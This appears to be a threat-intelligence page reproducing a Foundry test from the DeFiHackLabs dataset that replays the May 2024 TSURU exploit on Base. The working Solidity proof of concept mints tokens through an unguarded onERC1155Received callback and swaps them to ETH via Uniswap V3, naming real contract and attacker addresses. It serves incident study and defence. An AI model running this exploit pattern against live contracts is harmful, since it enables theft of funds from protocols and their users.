Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/TSURU_exp.sol

Public reproduction file for dataset entry TSURU.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/TSURU_exp.sol96 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "./../interface.sol";
5
6import "../basetest.sol";
7// @KeyInfo - Total Lost : 140K
8// Attacker :https://basescan.org/address/0x7A5Eb99C993f4C075c222F9327AbC7426cFaE386
9// Attack Contract :https://basescan.org/address/0xa2209b48506c4e7f3a879ec1c1c2c4ee16c2c017
10// Vulnerable Contract :https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA
11// Attack Tx :https://basescan.org/tx/0xe63a8df8759f41937432cd34c590d85af61b3343cf438796c6ed2c8f5b906f62
13// @Info
14// Vulnerable Contract Code :https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA#code
16// @Analysis
17// Post-mortem : https://base.tsuru.wtf/usdtsuru-exploit-incident-report
18// Twitter Guy : https://x.com/shoucccc/status/1788941548929110416
19// Hacking God : https://x.com/SlowMist_Team/status/1788936928634834958
21pragma solidity ^0.8.0;
23interface IWrapper is IERC20 {
24 function onERC1155Received(address, address from, uint256 id, uint256 amount, bytes calldata) external;
27// Uniswap V3 Pool Interface
28interface IUniswapV3Pool {
29 function swap(
30 address recipient,
31 bool zeroForOne,
32 int256 amountSpecified,
33 uint160 sqrtPriceLimitX96,
34 bytes calldata data
35 ) external returns (int256 amount0, int256 amount1);
37 function token0() external view returns (address);
38 function token1() external view returns (address);
41contract TsuruExploit is BaseTestWithBalanceLog {
42 uint256 blocknumToForkFrom = 14_279_784;
44 //Uniswapv3 constants
45 uint160 internal constant MIN_SQRT_RATIO = 4_295_128_739;
46 uint160 internal constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;
47 address UNISWAP_V3_POOL = 0x913b1658dd001dFF93D3AF2A657523F1eed53917;
49 //The vulernable contract
50 address tsuruwrapper = 0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA;
51 address weth = 0x4200000000000000000000000000000000000006;
53 //Expected profits
54 uint256 expectedTokens = 167_200_000 ether;
55 uint256 expectedETH = 137.904209005799603676 ether;
57 IWrapper wrapper = IWrapper(tsuruwrapper);
59 function setUp() public {
60 vm.createSelectFork("base", blocknumToForkFrom);
61 fundingToken = weth;
62 }
64 function testExploit() public balanceLog {
65 //First mint tokens with vulerable on onERC1155Received function
66 wrapper.onERC1155Received(address(0), address(this), 0, 418, new bytes(0));
67 assertEq(wrapper.balanceOf(address(this)), expectedTokens, "Not enough tokens");
69 //Swap the tokens to ETH via UniV3 pool
70 _v3Swap(tsuruwrapper, weth, expectedTokens, address(this));
71 assertEq(getFundingBal(), expectedETH, "Not enough ETH");
72 }
74 function _v3Swap(address tokenIn, address tokenOut, uint256 amount, address destTo) internal {
75 if (amount == 0) {
76 return;
77 }
78 bool zeroForOne = tokenIn < tokenOut;
79 uint160 sqrt = zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;
80 IUniswapV3Pool(UNISWAP_V3_POOL).swap(
81 destTo, zeroForOne, int256(amount), sqrt, zeroForOne ? bytes("1") : bytes("")
82 );
83 }
85 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
86 require(msg.sender == address(UNISWAP_V3_POOL), "Invalid caller");
87 bool zeroForOne = data.length > 0;
88 address tokenOut = zeroForOne
89 ? IUniswapV3Pool(UNISWAP_V3_POOL).token0()
90 : IUniswapV3Pool(UNISWAP_V3_POOL).token0() == weth ? tsuruwrapper : weth;
92 uint256 amountOut = uint256(zeroForOne ? amount0Delta : amount1Delta);
94 IERC20(tokenOut).transfer(msg.sender, amountOut);
95 }

Analysis

Dataset entry

Public Foundry test for “TSURU” (2024-05-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

19 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7a5eb99c993f4c075c222f9327abc7426cfae386

  • Attack Contract

    0xa2209b48506c4e7f3a879ec1c1c2c4ee16c2c017

  • Vulnerable Contract

    0x75ac62ea5d058a7f88f0c3a5f8f73195277c93da

  • Attack Tx

    0xe63a8df8759f41937432cd34c590d85af61b3343cf438796c6ed2c8f5b906f62

File record

Name
TSURU
Path
src/test/2024-05/TSURU_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b646661bedd777925800721238dbcf088d6a83e8
Language
Solidity
Size
97 lines
Date
2024-05-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/TSURU_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b646661bedd777925800721238dbcf088d6a83e8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.